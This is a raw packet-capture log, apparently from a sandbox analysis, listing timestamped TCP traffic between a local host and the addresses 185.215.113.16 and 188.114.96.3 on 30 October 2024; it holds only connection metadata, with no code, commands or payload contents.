Oct 30, 2024 21:56:23.948901892 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.948910952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.948931932 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.948964119 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.949784040 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.949795961 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.949806929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.949817896 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.949837923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.949866056 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.954536915 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954556942 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954567909 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954591990 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.954623938 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.954687119 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954721928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954731941 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.954732895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954761028 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.954775095 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.954876900 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954890966 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954921961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.954936028 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.954952955 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954967022 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954977989 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954988956 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.954997063 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955002069 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955010891 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955013990 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955024958 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955033064 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955034971 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955064058 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955077887 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955323935 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955344915 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955354929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955375910 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955393076 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955393076 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955611944 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955657005 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955658913 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955671072 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955691099 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955699921 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955702066 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955709934 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955730915 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955760002 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955785036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955796003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955806971 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955826044 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955841064 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955847979 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955888033 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955888987 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955899954 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955935955 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955950975 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.955986023 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.955996990 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956008911 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956043005 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956046104 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956058025 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956074953 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956089973 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956124067 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956260920 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956271887 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956280947 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956316948 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956315994 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956331015 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956362009 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956398964 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956465006 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956491947 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956502914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956541061 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956546068 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956552029 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956563950 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956583023 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956599951 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956840992 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956854105 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.956892014 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.956904888 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.999773026 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.999785900 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.999793053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.999883890 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.000022888 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000082016 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.000509024 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000519037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000530005 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000569105 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.000602961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.000658989 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000705004 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.000714064 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000724077 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000760078 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.000766993 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000813961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.000834942 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000844955 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000879049 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.000894070 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.000904083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000915051 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.000942945 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.000957012 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.001010895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.001022100 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.001059055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.001072884 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.001084089 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.001131058 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.004220963 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.064673901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.064829111 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.064840078 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.064851046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.064862013 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.064871073 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.064882994 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.064884901 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.064884901 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.064897060 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.064940929 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.064981937 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.065264940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.065277100 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.065285921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.065295935 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.065305948 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.065315962 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.065327883 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.065360069 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.065360069 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.065716982 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.065759897 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.065769911 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.065768957 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.065778017 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.065814018 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.066793919 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.066847086 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.066850901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.066868067 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.066883087 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.066893101 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.066899061 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.066919088 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.066920996 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.066934109 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.066945076 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.066960096 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.066958904 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.066958904 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.066970110 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.066987991 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.067017078 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071088076 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071156025 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071172953 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071185112 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071213007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071218014 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071223974 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071239948 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071265936 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071265936 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071305037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071321964 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071333885 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071366072 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071397066 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071459055 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071516037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071525097 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071527958 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071556091 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071585894 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071607113 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071618080 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071655989 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071686029 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071760893 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071808100 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071846962 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071858883 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.071892977 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071923018 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.071973085 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072019100 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.072108030 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072118998 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072127104 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072137117 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072153091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072163105 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072175980 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.072180033 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072191954 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072202921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072215080 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.072216034 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072235107 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072247028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072254896 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.072254896 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.072257996 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072278976 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.072303057 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.072875977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072887897 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072897911 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072907925 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.072942019 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.072962046 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.073005915 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073019028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073029995 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073041916 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073051929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073055983 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.073062897 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073075056 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073087931 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073100090 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073101044 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.073111057 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073123932 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.073143005 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.073168993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.073695898 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073744059 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073754072 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073755980 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.073792934 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.073822021 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.073846102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073857069 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073865891 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.073894978 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.073925018 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.116316080 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.116441011 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.116452932 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.116458893 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.116463900 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.116476059 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.116947889 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.116966963 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.116978884 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.116981030 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.117008924 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.117053032 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.117511988 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117522955 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117535114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117546082 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117558002 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117559910 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.117568970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117578983 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117589951 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117609978 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.117650986 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.117657900 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117672920 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117683887 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117693901 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.117729902 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.117753983 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.117794037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.128540993 CET	443	50237	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:24.128664017 CET	50237	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:24.139004946 CET	50237	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:24.139028072 CET	443	50237	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:24.139266968 CET	443	50237	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:24.140439987 CET	50237	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:24.140578032 CET	50237	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:24.140618086 CET	443	50237	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:24.140710115 CET	50237	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:24.140727997 CET	443	50237	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:24.181154013 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181231976 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181386948 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181399107 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181438923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181476116 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181495905 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181507111 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181516886 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181526899 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181538105 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181551933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181560040 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181561947 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181560040 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181572914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181582928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181593895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181595087 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181602955 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181619883 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181619883 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181629896 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181642056 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181644917 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181679964 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181685925 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181703091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181714058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.181718111 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181740046 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181740046 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.181763887 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.182318926 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182331085 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182347059 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182356119 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182368040 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182370901 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.182401896 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.182420969 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:24.182424068 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182435036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:24.182467937 CET	50233	80	192.168.2.5	185.215.113.16
